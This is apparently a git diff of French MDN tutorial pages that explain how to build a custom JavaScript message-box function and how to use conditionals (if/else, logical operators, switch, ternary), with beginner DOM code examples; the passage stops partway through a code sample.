La fonction prend un seul argument en paramètre — la chaîne de caractères qui est affichée dans la boîte d'alerte. Vous pouvez essayer de varier la syntaxe de la chaîne pour modifier le message.

+ +

La fonction alert() est assez limitée : vous pouvez modifier le message, mais vous ne pouvez pas facilement faire varier autre chose, comme la couleur, une icône, ou autre chose. Nous en construirons une qui s'avérera plus amusante.

+ +
+

Note : Cet exemple devrait fonctionner correctement dans tous les navigateurs modernes, mais elle pourrait avoir un comportement un peu plus inattendu dans un navigateur ancien. Nous recommandons donc de faire cet exercice dans un navigateur moderne tel que Firefox, Opera, ou Chrome.

+
+ +

La fonction de base

+ +

Pour commencer, mettons en place une fonction de base.

+ +
+

Note : Pour les conventions de nommage des fonctions, vous devez suivre les mêmes règles que les conventions de noms de variables. Ce qui est bien, c'est que vous pouvez les différencier — les noms de fonctions se terminent par des parenthèses, pas les variables.

+
+ +
    +
  1. Commencez par faire une copie locale du fichier function-start.html. Vous pourrez voir que le code HTML est simple — l'élément body ne contient qu'un seul bouton. Nous avons également ajouté quelques règles CSS de base pour styliser la boîte de message personnalisée, et un élément {{htmlelement("script")}} pour écrire notre code JavaScript.
    2. +
  2. Ensuite, ajoutez le code ci-dessous à l'intérieur de l'élément <script> : + 
    function displayMessage() {
+
+}
    + Nous commençons avec le mot-clé function, qui signifie que nous définissons une fonction. Celui-ci est suivi par le nom que nous voulons donner à notre fonction, des parenthèses et des accolades. Tous les paramètres que nous voulons donner à notre fonction vont à l'intérieur des parenthèses, et le code qui s'exécute lorsque nous appelons la fonction va à l'intérieur des accolades.
    3. +
  3. Enfin, ajoutez le code suivant à l'intérieur des accolades : + 
    var html = document.querySelector('html');
+
+var panel = document.createElement('div');
+panel.setAttribute('class', 'msgBox');
+html.appendChild(panel);
+
+var msg = document.createElement('p');
+msg.textContent = 'This is a message box';
+panel.appendChild(msg);
+
+var closeBtn = document.createElement('button');
+closeBtn.textContent = 'x';
+panel.appendChild(closeBtn);
+
+closeBtn.onclick = function() {
+  panel.parentNode.removeChild(panel);
+}
    +
    4. +
+ +

Étant donné qu'il y a pas mal de code à analyser, allons-y pas à pas.

+ +

La première ligne utilise une fonction de l'API DOM appelée {{domxref("document.querySelector()")}} pour sélectionner l'élément {{htmlelement("html")}} et stocker une référence vers cet élément dans une variable appelée html, de façon à pouvoir l'utiliser plus tard :

+ +
var html = document.querySelector('html');
+ +

La section suivante utilise une autre fonction de l'API DOM appelée {{domxref("Document.createElement()")}} pour créer un élément {{htmlelement("div")}} et stocker une référence vers lui dans une variable appelée panel (Dans la suite de l'article, nous parlerons simplement du panneau <div>.). Cet élément sera le conteneur extérieur de notre boîte de message.

+ +

Puis, nous utilisons encore une autre fonction de l'API DOM appelée {{domxref("Element.setAttribute()")}} pour ajouter un attribut class à notre panneau qui aura pour valeur msgBox. Ceci rendra plus facile la mise en forme de l'élément — si vous regardez le CSS de la page, vous verrez que nous utilisons un sélecteur de classe .msgBox dans le but de styliser la boîte de message ainsi que son contenu.

+ +

Finallement, nous appelons une fonction du DOM nommée {{domxref("Node.appendChild()")}} sur la variable html créée précédemment, qui insère un élément, en tant qu'enfant, à l'intérieur d'un autre. Nous spécifions le panneau <div> (panel) comme l'enfant que nous voulons ajouter à l'intérieur de l'élément <html>. Nous avons besoin de le faire puisque l'élément que nous avons créé ne peut pas apparaître de lui-même sur la page — nous avons besoin de préciser où le mettre.

+ +
var panel = document.createElement('div');
+panel.setAttribute('class', 'msgBox');
+html.appendChild(panel);
+ +

Les deux sections suivantes font usage des mêmes fonctions createElement() et appendChild() que nous avons déjà vu pour créer deux nouveaux éléments — l'un {{htmlelement("p")}} et l'autre {{htmlelement("button")}} —  et pour les insèrer dans la page en tant qu'enfant du panneau <div>. On utilise leur propriété {{domxref("Node.textContent")}} — qui représente le contenu textuel d'un élément — pour insérer un message à l'intérieur du paragraphe, ainsi qu'un 'x' à l'intérieur du bouton. Ce bouton sera cliqué / activé quand l'utilisateur voudra fermer la boîte de message.

+ +
var msg = document.createElement('p');
+msg.textContent = 'This is a message box';
+panel.appendChild(msg);
+
+var closeBtn = document.createElement('button');
+closeBtn.textContent = 'x';
+panel.appendChild(closeBtn);
+ +

Finalement, nous utilisons un gestionnaire d'évènements {{domxref("GlobalEventHandlers.onclick")}} de sorte qu'un clic sur le bouton déclenche le bout de code chargé de supprimer la totalité du panneau de la page — c'est-à-dire fermer la boîte de message.

+ +

Le gestionnaire onclick est une propriété disponible sur le bouton (en fait, sur n'importe quel élément de la page) qui pourra se voir transmettre une fonction en paramètre pour spécifier quel morceau de code sera déclenché quand le bouton sera cliqué. Vous en apprendrez bien plus dans notre article sur les évènements. Nous avons passé à notre gestionnaire  onclick une fonction anonyme, qui contient le code exécuté quand le bouton est cliqué. L'instruction définie dans la fonction utilise la fonction de l'API DOM {{domxref("Node.removeChild()")}} pour indiquer que nous tenons à supprimer un élément enfant spécifique de l'élément HTML — dans notre cas le panneau <div>.

+ +
closeBtn.onclick = function() {
+  panel.parentNode.removeChild(panel);
+}
+ +

Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'insère dans la page, ce qui ressemble à ça :

+ +
<div class="msgBox">
+  <p>This is a message box</p>
+  <button>x</button>
+</div>
+ +

Ça nous a fait beaucoup de code à passer en revue — ne vous inquiétez pas trop si vous ne vous souvenez pas exactement de comment chaque instruction fonctionne ! Bien que la partie principale sur laquelle nous voulions mettre l'accent ici est la structure de la fonction et son utilisation, nous avons voulu montrer quelque chose d'intéressant pour mettre en valeur cet exemple.

+ +

Appeler la fonction

+ +

À présent, nous avons notre fonction définie comme il faut dans notre balise <script>, mais il ne se passera rien si on laisse les choses en l'état.

+ +
    +
  1. Ajoutez la ligne suivante au-dessous de votre fonction pour l'appeler : + 
    displayMessage();
    + Cette ligne appelle la fonction en la faisant fonctionner immédiatement. Lorsque vous enregistrez votre code et rechargez la page dans le navigateur, vous voyez la petite boîte de message apparaître immédiatement, une seule fois. Après tout, nous ne l'appelons bien qu'une fois.
    2. +
  2. +

    Maintenant, ouvrez vos outils de développement sur la page d'exemple, allez à la console JavaScript et tapez-y la ligne à nouveau, vous verrez qu'elle apparaît encore une fois ! C'est génial, nous avons maintenant une fonction réutilisable que nous pouvons appeler chaque fois que nous le voulons.

    + +

    Cela dit, nous voulons probablement qu'elle apparaisse en réponse aux actions de l'utilisateur ou du système. Dans une application réelle, une telle boîte de message serait probablement appelée en réponse à de nouvelles données disponibles, si une erreur s'est produite, si l'utilisateur essaie de supprimer son profil ("Êtes vous sûr de vouloir réaliser cette action ?"), ou encore si l'utilisateur ajoute un nouveau contact et que l'opération se termine avec succès, etc.

    + +

    Dans cette démo, nous faisons apparaître le message quand l'utilisateur clique sur le bouton.

    +
    3. +
  3. Supprimez la ligne précédente que vous avez ajoutée.
    4. +
  4. Ensuite, vous sélectionnerez le bouton et stockerez une référence vers celui-ci dans une variable. Ajoutez la ligne suivante à votre code, au-dessus de la définition de fonction : + 
    var btn = document.querySelector('button');
    +
    5. +
  5. Enfin, ajoutez la ligne suivante à la précédente : + 
    btn.onclick = displayMessage;
    + D'une manière similaire à notre ligne closeBtn.onclick... à l'intérieur de la fonction, ici, nous appelons un certain code en réponse à un clic sur un bouton. Mais dans ce cas, au lieu d'appeler une fonction anonyme contenant du code, nous appelons directement notre nom de fonction.
    6. +
  6. Essayez d'enregistrer et de rafraîchir la page, maintenant vous devriez voir la boîte de message s'afficher lorsque vous cliquez sur le bouton.
    7. +
+ +

Vous vous demandez peut-être pourquoi nous n'avons pas inclus les parenthèses après le nom de la fonction. C'est parce que nous ne voulons pas appeler la fonction immédiatement, seulement après que le bouton aura été cliqué. Si vous modifiez la ligne pour :

+ +
btn.onclick = displayMessage();
+ +

Enregistrez et rafraîchissez la page, vous verrez que la boîte de message apparaît sans que le bouton ait été cliqué ! Dans ce contexte, les parenthèses sont parfois appelées "opérateur d'appel / invocation de fonction". Vous ne les utilisez que lorsque vous souhaitez exécuter la fonction immédiatement dans la portée actuelle. Dans le même ordre d'idée, le code à l'intérieur de la fonction anonyme n'est pas exécuté immédiatement, car il se trouve à l'intérieur de la portée de la fonction.

+ +

Si vous avez essayé la dernière expérimentation, assurez-vous d'annuler la dernière modification avant de poursuivre.

+ +

Améliorer la fonction à l'aide de paramètres

+ +

En l'état, la fonction n'est pas très utile — on ne veut pas montrer le même message par défaut à chaque fois. Améliorons la en ajoutant quelques paramètres, ils permettront d'appeler la fonction avec différentes options.

+ +
    +
  1. Premièrement, mettons à jour la première ligne : + 
    function displayMessage() {
    + par : + + 
    function displayMessage(msgText, msgType) {
    + Maintenant, quand nous appelons la fonction, nous pouvons fournir deux valeurs de variables entre les parenthèses : une pour spécifier le message à afficher dans la boîte, l'autre pour le type de message.
    2. +
  2. Pour faire usage du premier paramètre, mettez à jour la ligne suivante à l'intérieur de votre fonction : + 
    msg.textContent = 'This is a message box';
    + avec : + + 
    msg.textContent = msgText;
    +
    3. +
  3. Vous devez maintenant mettre à jour votre appel de fonction pour inclure un texte de message mis à jour. Modifiez la ligne suivante : + 
    btn.onclick = displayMessage;
    + par ce bloc : + + 
    btn.onclick = function() {
+  displayMessage('Woo, this is a different message!');
+};
    + Si nous voulons spécifier des paramètres à l'intérieur des parenthèses pour la fonction que nous appelons, alors nous ne pouvons pas l'appeler directement — nous avons besoin de la mettre à l'intérieur d'une fonction anonyme de sorte qu'elle n'est pas dans la portée immédiate et n'est donc pas appelée immédiatement. Maintenant, elle ne sera pas appelée tant que le bouton ne sera pas cliqué.
    4. +
  4. Rechargez et essayez le code à nouveau et vous verrez qu'il fonctionne toujours très bien, sauf que maintenant vous pouvez également modifier le message à l'intérieur du paramètre pour obtenir des messages différents affichés dans la boîte !
    5. +
+ +

Un paramètre plus complexe

+ +

Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — selon la valeur du paramètre msgType, la fonction affichera une icône et une couleur d'arrière-plan différentes.

+ +
    +
  1. Tout d'abord, téléchargez les icônes nécessaires à cet exercice (warning et chat) depuis GitHub. Enregistrez-les dans un nouveau dossier appelé icons dans le même répertoire que votre fichier HTML. + +
    Note : icônes warning et chat trouvés sur iconfinder.com, et créés par Nazarrudin Ansyari. Merci !
    +
    2. +
  2. Ensuite, trouvez le CSS à l'intérieur de votre fichier HTML. Nous ferons quelques changements pour faire place aux icônes. Tout d'abord, mettez à jour la largeur .msgBox en changeant : + 
    width: 200px;
    + par : + + 
    width: 242px;
    +
    3. +
  3. Ensuite, ajoutez les lignes à l'intérieur de la règle CSS .msgBox p { ... } : + 
    padding-left: 82px;
+background-position: 25px center;
+background-repeat: no-repeat;
    +
    4. +
  4. Maintenant, nous devons ajouter du code à notre fonction displayMessage() pour gérer l'affichage de l'icône. Ajoutez le bloc suivant juste au dessus de l'accolade fermante "}" de votre fonction : + 
    if (msgType === 'warning') {
+  msg.style.backgroundImage = 'url(icons/warning.png)';
+  panel.style.backgroundColor = 'red';
+} else if (msgType === 'chat') {
+  msg.style.backgroundImage = 'url(icons/chat.png)';
+  panel.style.backgroundColor = 'aqua';
+} else {
+  msg.style.paddingLeft = '20px';
+}
    + Ici, quand msgType a la valeur 'warning', l'icône d'avertissement est affichée et le fond du panneau prend la couleur rouge. Si msgType a la valeur 'chat', l'icône de chat est affichée et l'arrière-plan du panneau est bleu. Si le paramètre msgType n'a pas de valeur du tout (ou s'il a une valeur totalement différente), alors la partie du code contenue dans else { ... } est exécutée : le paragraphe prend un padding par défaut et il n'y a ni icône ni couleur d'arrière-plan. En fait, on fournit un état par défaut si aucun paramètre msgType n'est fourni, ce qui signifie qu'il s'agit d'un paramètre facultatif !
    5. +
  5. Nous allons tester notre fonction mise à jour, essayez de mettre à jour l'appel displayMessage() : + 
    displayMessage('Woo, this is a different message!');
    + par soit l'un ou l'autre : + + 
    displayMessage('Your inbox is almost full — delete some mails', 'warning');
+displayMessage('Brian: Hi there, how are you today?','chat');
    + Vous pouvez voir à quel point notre petite (plus tant que cela maintenant) fonction est devenue utile :
    6. +
+ +
+

Note : Si vous avez des difficultés à mettre en œuvre cet exemple, n'hésitez pas à verifier votre code par rapport à la version définitive sur GitHub (aussi, vous pouvez tester la démo), ou nous demander de l'aide.

+
+ +

Conclusion

+ +

Vous êtes venu à bout de cette activité, félicitations ! Cet article vous a amené à travers tout le processus de construction d'une fonction pratique personnalisée, qui avec un peu plus de travail pourrait être transposée dans un projet réel. Dans l'article suivant, nous allons conclure l'apprentissage des fonctions en expliquant un autre concept connexe essentiel — les valeurs de retour.

+ +
    +
+ +

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}

diff --git a/files/fr/learn/javascript/building_blocks/conditionals/index.html b/files/fr/learn/javascript/building_blocks/conditionals/index.html new file mode 100644 index 0000000000..b7fa0fa08c --- /dev/null +++ b/files/fr/learn/javascript/building_blocks/conditionals/index.html @@ -0,0 +1,630 @@ +--- +title: Prendre des décisions dans le code — conditions +slug: Apprendre/JavaScript/Building_blocks/conditionals +tags: + - Article + - CodingScripting + - Conditionnel + - Débutant + - JavaScript + - Switch + - conditions + - else + - if + - ternaire +translation_of: Learn/JavaScript/Building_blocks/conditionals +--- +

{{LearnSidebar}}

+ +

{{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}}

+ +

Dans tout langage de programmation, le code doit prendre des décisions et agir en fonction des différents paramètres. Par exemple dans un jeu, si le nombre de vies du joueur atteint 0, alors le jeu est terminé. Dans une application météo, si elle est consultée le matin, l'application montrera une image du lever de soleil ; l'application proposera des étoiles et la lune s'il fait nuit. Dans cet article nous allons découvrir comment ces instructions conditionnelles fonctionnent en JavaScript.

+ + + + + + + + + + + + +
Prérequis :Connaissances du vocabulaire informatique, compréhension des bases du HTML et des CSS, Premiers pas en JavaScript.
Objectif :Comprendre comment utiliser les structures conditionnelles en JavaScript.
+ +

Vous l'aurez à une condition !..

+ +

Les êtres humains (et d'autres animaux) prennent tout le temps des décisions qui affectent leur vie, de la plus insignifiante (« Est‑ce que je devrais prendre un biscuit ou deux ? ») à la plus importante (« Est‑ce que je dois rester dans mon pays natal et travailler à la ferme de mon père, ou déménager aux États-Unis et étudier l'astrophysique ? »)

+ +

Les instructions conditionnelles nous permettent de représenter ce genre de prise de décision en JavaScript, du choix qui doit être fait (par ex. « un biscuit ou deux »), à la conséquence de ces choix (il se peut que la conséquence de « manger un biscuit » soit « avoir encore faim », et celle de « manger deux biscuits » soit « se sentir rassasié, mais se faire gronder par maman pour avoir mangé tous les biscuits ».)

+ +

+ +

Instruction if ... else

+ +

Intéressons nous de plus près à la forme la plus répandue d'instruction conditionnelle que vous utiliserez en JavaScript — la modeste instruction if ... else.

+ +

Syntaxe élémentaire if ... else

+ +

La syntaxe élémentaire de if...else ressemble à cela en {{glossary("pseudocode")}}:

+ +
if (condition) {
+  code à exécuter si la condition est true
+} else {
+  sinon exécuter cet autre code à la place
+}
+ +

Ici nous avons:

+ +
    +
  1. Le mot‑clé if suivie de parenthèses.
    2. +
  2. Une condition à évaluer, placée entre les parenthèses (typiquement « cette valeur est‑elle plus grande que cet autre valeur ? » ou « cette valeur existe‑t‑elle ? »). Cette condition se servira des opérateurs de comparaison que nous avons étudié dans le précédent module, et renverra true ou false.
    3. +
  3. Une paire d'accolades, à l'intérieur de laquelle se trouve du code — cela peut être n'importe quel code voulu ; il sera exécuté seulement si la condition renvoie true.
    4. +
  4. Le mot‑clé else.
    5. +
  5. Une autre paire d'accolades, à l'intérieur de laquelle se trouve du code différent — tout code souhaité et il sera exécuté seulement si la condition ne renvoie pas true.
    6. +
+ +

Ce code est facile à lire pour une personne — il dit « si la condition renvoie true, exécuter le code A, sinon exécuter le code B ».

+ +

Notez qu'il n'est pas nécessaire d'inclure une instruction else et le deuxième bloc entre accolades — le code suivant est aussi parfaitement correct :

+ +
if (condition) {
+  code à exécuter si la condition est true
+}
+
+exécuter un autre code
+ +

Cependant, vous devez faire attention ici — dans ce cas, le deuxième bloc de code n'est pas controlé par l'instruction conditionnelle, donc il sera toujours exécuté, que la condition ait renvoyé true ou false. Ce n'est pas nécessairement une mauvaise chose, mais il se peut que ce ne soit pas ce que vous vouliez — le plus souvent vous voudrez exécuter un bloc de code ou l'autre, et non les deux.

+ +

Une dernière remarque, vous verrez quelques fois les instructions if...else écrites sans accolades, de manière abrégée, ainsi :

+ +
if (condition) code à exécuter si la condition est true
+else exécute un autre code à la place
+ +

Ce code est parfaitement valide, mais il n'est pas recommandé — il est nettement plus facile de lire le code et d'en déduire ce qui se passe si vous utilisez des accolades pour délimiter les blocs de code, des lignes séparées et des indentations.

+ +

Un exemple concret

+ +

Pour mieux comprendre cette syntaxe, prenons un exemple concret. Imaginez un enfant à qui le père ou la mère demande de l'aide pour une tâche. Le parent pourrait dire « Mon chéri, si tu m'aides en allant faire les courses, je te donnerai un peu plus d'argent de poche pour que tu puisses t'acheter ce jouet que tu voulais ». En JavaScript, on pourrait le représenter de cette manière :

+ +
let coursesFaites = false;
+
+if (coursesFaites === true) {
+  let argentDePoche = 10;
+} else {
+  let argentDePoche = 5;
+}
+ +

Avec un tel code, la variable coursesFaites renvoie toujours false, imaginez la déception de ce pauvre enfant. Il ne tient qu'à nous de fournir un mécanisme pour que le parent assigne true à la variable coursesFaites si l'enfant a fait les courses.

+ +
+

Note : Vous pouvez voir une version plus complète de cet exemple sur GitHub (ainsi qu'en version live.)

+
+ +

else if

+ +

Il n'y a qu'une alternative dans l'exemple précédent — mais qu'en est‑il si l'on souhaite plus de choix ?

+ +

Il existe un moyen d'enchaîner des choix / résultats supplémentaires à if...else — en utilisant else if entre. Chaque choix supplémentaire nécessite un bloc additionnel à placer entre if() { ... } et else { ... } — regardez l'exemple suivant plus élaboré, qui pourrait faire partie d'une simple application de prévisions météo:

+ +
<label for="weather">Select the weather type today: </label>
+<select id="weather">
+  <option value="">--Make a choice--</option>
+  <option value="sunny">Sunny</option>
+  <option value="rainy">Rainy</option>
+  <option value="snowing">Snowing</option>
+  <option value="overcast">Overcast</option>
+</select>
+
+<p></p>
+ +
const select = document.querySelector('select');
+const para = document.querySelector('p');
+
+select.addEventListener('change', setWeather);
+
+function setWeather() {
+  const choice = select.value;
+
+  if (choice === 'sunny') {
+    para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
+  } else if (choice === 'rainy') {
+    para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
+  } else if (choice === 'snowing') {
+    para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
+  } else if (choice === 'overcast') {
+    para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+  } else {
+    para.textContent = '';
+  }
+}
+ +

{{ EmbedLiveSample('else_if', '100%', 100) }}

+ +
    +
  1. Ici nous avons l'élément HTML {{htmlelement("select")}} nous permettant de sélectionner divers choix de temps et un simple paragraphe.
    2. +
  2. Dans le JavaScript, nous conservons une référence aussi bien à l'élément {{htmlelement("select")}} qu'à l'élément {{htmlelement("p")}}, et ajoutons un écouteur d'évènement à l'élément <select> de sorte que la fonction setWeather() soit exécutée quand sa valeur change.
    3. +
  3. Quand cette fonction est exécutée, nous commençons par assigner à la variable choice la valeur actuellement sélectionnée dans l'élément <select>. Nous utilisons ensuite une instruction conditionnelle pour montrer différents textes dans le paragraphe en fonction de la valeur de choice. Remarquez comment toutes les conditions sont testées avec des blocs else if() {...}, mis à part le tout premier testé avec un  bloc if() {...}.
    4. +
  4. Le tout dernier choix, à l'intérieur du bloc else {...}, est simplement une option de "secours" — le code qui s'y trouve ne sera exécuté que si aucune des conditions n'est true. Dans ce cas, il faut vider le texte du paragraphe si rien n'est sélectionné, par exemple si un utilisateur décide de resélectionner le texte à substituer « --Choisir-- » présenté au début.
    5. +
+ +
+

Note : Vous trouverez également cet exemple sur GitHub (ainsi qu'en version live ici.)

+
+ +

Une note sur les opérateurs de comparaison

+ +

Les opérateurs de comparaison sont utilisés pour tester les conditions dans nos instructions conditionnelles. Nous avons d'abord regardé les opérateurs de comparaison dans notre Mathématiques de base en JavaScript — nombres et opérateurs article. Nos choix sont :

+ +
    +
  • === et !== — teste si une valeur est identique ou non à une autre.
    • +
  • < and > —teste si une valeur est inférieure ou non à une autre.
    • +
  • <= and >= — teste si une valeur est inférieur ou égal, ou égal à, ou supérieur ou égal à une autre.
    • +
+ +
+

Note : Revoyez le contenu du lien précédent si vous voulez vous rafraîchir la mémoire.

+
+ +

Nous souhaitons mentionner à propos des tests des valeurs booléennes (true/false) un modèle courant que vous rencontrerez souvent. Toute valeur autre que false, undefined, null, 0, NaN ou une chaîne vide  ('') renvoie true lorsqu'elle est testée dans une structure conditionnelle, vous pouvez donc simplement utiliser un nom de variable pour tester si elle est true, ou même si elle existe (c'est-à-dire si elle n'est pas undefined).
+ Par exemple :

+ +
const fromage = 'Comté';
+
+if (fromage) {
+  console.log('Ouaips ! Du fromage pour mettre sur un toast.');
+} else {
+  console.log('Pas de fromage sur le toast pour vous aujourd\'hui.');
+}
+ +

Et, revenant à notre exemple précédent sur l'enfant rendant service à ses parents, vous pouvez l'écrire ainsi :

+ +
let coursesFaites = false;
+
+if (coursesFaites) { // pas besoin d'écrire explicitement '=== true'
+  let argentDePoche = 10;
+} else {
+  let argentDePoche = 5;
+}
+ +

 if ... else imbriqué

+ +

Il est parfaitement correct d'ajouter une déclaration if...else à l'intérieur d'une autre — pour les imbriquer. Par exemple, nous pourrions mettre à jour notre application de prévisions météo pour montrer un autre ensemble de choix en fonction de la température :

+ +
if (choice === 'sunny') {
+  if (temperature < 86) {
+    para.textContent = 'Il fait ' + temperature + ' degrés dehors — beau et ensoleillé. Allez à la plage ou au parc et achetez une crème glacée.';
+  } else if (temperature >= 86) {
+    para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! si vous voulez sortir, n\'oubliez pas de mettre de la crème solaire.';
+  }
+}
+ +

Même si tout le code fonctionne ensemble, chaque déclaration if...else fonctionne indépendamment de l'autre.

+ +

Opérateurs logiques AND, OR et NOT

+ +

Si vous voulez tester plusieurs conditions sans imbriquer des instructions if...else , les opérateurs logiques pourront vous rendre service. Quand ils sont utilisés dans des conditions, les deux premiers sont représentés comme ci dessous :

+ +
    +
  • && — AND ; vous permet d'enchaîner deux ou plusieurs expressions de sorte que toutes doivent être individuellement égales à true pour que l'enemble de l'expression retourne true.
    • +
  • || — OR ; vous permet d'enchaîner deux ou plusieurs expressions ensemble de sorte qu'il suffit qu'une au plus soit évaluée comme étant  true pour que l'ensemble de l'expression renvoie true.
    • +
+ +

Pour vous donner un exemple de AND, le morceau de code précedent peut être réécrit ainsi :

+ +
if (choice === 'sunny' && temperature < 86) {
+  para.textContent = 'Il fait ' + temperature + ' degrés dehors — beau temps ensoleillé. Allez à la plage ou au parc et achetez une crème glacée.';
+} else if (choice === 'sunny' && temperature >= 86) {
+  para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! Si vous voulez sortir, assurez‑vous d'avoir passé une crème solaire.';
+}
+ +

Ainsi, par exemple, le premier bloc de code ne sera exécuté que si choice === 'sunny' ET temperature < 86 renvoient tous deux true.

+ +

Voyons un petit exemple avec OR :

+ +
if (camionDeGlaces || etatDeLaMaison === 'on fire') {
+  console.log('Vous devriez sortir de la maison rapidement.');
+} else {
+  console.log('Vous pouvez probablement rester dedans.');
+}
+ +

Le dernier type d'opérateur logique, NOT, exprimé par l'opérateur !,  peut s'utiliser pour nier une expression. Combinons‑le avec OR dans cet exemple :

+ +
if (!(camionDeGlaces || etatDeLaMaison === 'on fire')) {
+  console.log('Vous pouvez probablement rester dedans.');
+} else {
+  console.log('Vous devriez sortir de la maison rapidement.');
+}
+ +

Dans cet extrait, si la déclaration avec OR renvoie true, l'opérateur NOT va nier l'ensemble : l'expression retournera donc false.

+ +

Vous pouvez combiner autant d'instructions logiques que vous le souhaitez, quelle que soit la structure. L'exemple suivant n'exécute le code entre accolades que si les deux instructions OR renvoient true, l'instruction AND recouvrante renvoie alors true :

+ +
if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) {
+  // exécuter le code
+}
+ +

Une erreur fréquente avec l'opérateur OR dans des instructions conditionnelles est de n'indiquer la variable dont vous testez la valeur qu'une fois, puis de donner une liste de valeurs sensées renvoyer true séparées par des || (OR) opérateurs. Par exemple :

+ +
if (x === 5 || 7 || 10 || 20) {
+  // exécuter le code
+}
+ +

Dans ce cas, la condition dans le if(...) sera toujours évaluée à vrai puisque 7 (ou toute autre valeur non nulle) est toujours true. Cette condition dit en réalité « si x est égal à 5, ou bien 7 est vrai » — ce qui est toujours le cas. Ce n'est pas ce que nous voulons logiquement ! Pour que cela fonctionne, vous devez définir un test complet entre chaque opérateur OR :

+ +
if (x === 5 || x === 7 || x === 10 ||x === 20) {
+  // exécuter le code
+}
+ +

Instruction switch

+ +

Les Instructions if...else  font bien le travail d'aiguiller la programmation selon des conditions, mais elles ne sont pas sans inconvénient. Elles sont principalement adaptées aux cas où vous avez un choix binaire, chacun nécessitant une quantité raisonnable de code à exécuter, et/ou au cas où les conditions sont complexes (par ex. plusieurs opérateurs logiques). Si vous voulez juste fixer la valeur d'une variable à un choix donné ou afficher une déclaration particulière en fonction d'une condition, cette syntaxe peut devenir un peu lourde, surtout si le nombre de choix est important.

+ +

Les instructions switch sont vos amies — elles prennent une seule valeur ou expression en entrée, puis examinent une palette de choix jusqu'à trouver celui qui correspond, et exécutent le code qui va avec. Voici un peu de pseudo-code, pour vous donner l'idée :

+ +
switch (expression) {
+  case choix1:
+    exécuter ce code
+    break;
+
+  case choix2:
+    exécuter ce code à la place
+    break;
+
+  // incorporez autant de case que vous le souhaitez
+
+  default:
+    sinon, exécutez juste ce code
+}
+ +

Ici nous avons

+ +
    +
  1. Le mot‑clé switch suivi de parenthèses.
    2. +
  2. Une expression ou une valeur mise entre les parenthèses.
    3. +
  3. Le mot‑clé case suivi d'une expression ou d'une valeur, et de deux‑points.
    4. +
  4. Le code exécuté si l'expression/valeur de case correspond à celles de switch.
    5. +
  5. Une déclaration break, suivie d'un point‑virgule. Si le choix précédent correspond à l'expression/valeur, le navigateur va stopper l'exécution du bloc de code ici et continuer après l'instruction switch.
    6. +
  6. Vous pouvez rajouter autant de cas que vous le souhaitez. (points 3–5)
    7. +
  7. Le mot‑clé default,  suivi d'une même structure de code qu'aux points 3-5, sauf que default n'a pas de choix après lui et n'a donc pas besoin de l'instruction break  puisqu'il n'y a plus rien à exécuter après ce bloc. C'est l'option default qui sera exécutée si aucun choix ne correspond.
    8. +
+ +
+

Note : Vous n'avez pas à inclure la section  default — elle peut être omise en toute sécurité s'il n'y a aucune chance que l'expression finisse par égaler une valeur inconnue. À contrario, vous devez l'inclure s'il est possible qu'il y ait des cas inconnus.

+
+ +

Un exemple de switch

+ +

Voyons un exemple concret — nous allons réécrire notre application de prévision météo en utilisant une instruction switch à la place :

+ +
<label for="weather">Select the weather type today: </label>
+<select id="weather">
+  <option value="">--Make a choice--</option>
+  <option value="sunny">Sunny</option>
+  <option value="rainy">Rainy</option>
+  <option value="snowing">Snowing</option>
+  <option value="overcast">Overcast</option>
+</select>
+
+<p></p>
+ +
const select = document.querySelector('select');
+const para = document.querySelector('p');
+
+select.addEventListener('change', setWeather);
+
+
+function setWeather() {
+  let choice = select.value;
+
+  switch (choice) {
+    case 'sunny':
+      para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
+      break;
+    case 'rainy':
+      para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
+      break;
+    case 'snowing':
+      para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
+      break;
+    case 'overcast':
+      para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+      break;
+    default:
+      para.textContent = '';
+  }
+}
+ +

{{ EmbedLiveSample('Un_exemple_de_switch', '100%', 100) }}

+ +
+

Note : Vous trouverez également cet exemple sur GitHub (voyez‑le en cours d'exécution ici aussi.)

+
+ +

Opérateur ternaire

+ +

Voici une dernière syntaxe que nous souhaitons vous présenter avant de nous amuser avec quelques exemples. L'opérateur ternaire ou conditionnel est un petit morceau de code qui teste une condition et renvoie une valeur ou expression si elle est true et une autre si elle est false — elle est utile dans certains cas, et occupe moins de place qu'un bloc if...else si votre choix est limité à deux possibilités à choisir via une condition true/false. Voici le pseudo‑code correspondant :

+ +
( condition ) ? exécuter ce code : exécuter celui‑ci à la place
+ +

Regardons cet exemple simple :

+ +
let formuleDePolitesse = ( est_anniversaire ) ? 'Bon anniversaire Mme Smith — nous vous souhaitons une belle journée !' : 'Bonjour Mme Smith.';
+ +

Ici, nous avons une variable nommée est_anniversaire — si elle est true, nous adressons à notre hôte un message de « Bon anniversaire » ; si ce n'est pas le cas, c'est-à-dire si est_anniversaire renvoie false, nous disons simplement « Bonjour ».

+ +

Exemple opérateur ternaire

+ +

L'opérateur ternaire ne sert pas qu'à définir des valeurs de variables ; vous pouvez aussi exécuter des fonctions, ou des lignes de code — ce que vous voulez. Voici un exemple concret de choix de thème où le style du site est déterminé grâce à un opérateur ternaire.

+ +
<label for="theme">Select theme: </label>
+<select id="theme">
+  <option value="white">White</option>
+  <option value="black">Black</option>
+</select>
+
+<h1>This is my website</h1>
+ +
const select = document.querySelector('select');
+const html = document.querySelector('html');
+document.body.style.padding = '10px';
+
+function update(bgColor, textColor) {
+  html.style.backgroundColor = bgColor;
+  html.style.color = textColor;
+}
+
+select.onchange = function() {
